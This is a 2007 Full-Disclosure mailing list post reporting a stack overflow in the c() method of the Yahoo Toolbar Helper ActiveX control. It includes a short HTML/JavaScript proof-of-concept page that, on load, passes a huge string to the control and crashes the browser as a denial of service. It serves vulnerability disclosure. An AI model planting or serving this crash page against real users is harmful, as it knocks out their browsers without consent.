[Full-disclosure] Yahoo Toolbar Helper c() Method Stack Overflow DoS

Fri Nov 30 03:56:46 GMT 2007

There is a stack overflow in the c() method of the Yahoo Toobar Helper class. This overflow does not appear to get anywhere near the EIP or SEH. PoC as follows:

----------------------
<!--
 written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

     while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-C3F9-4EFB-9B51-7695ECA05670}
      obj.c(s);
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
 </body>
</html>
----------------------

Elazar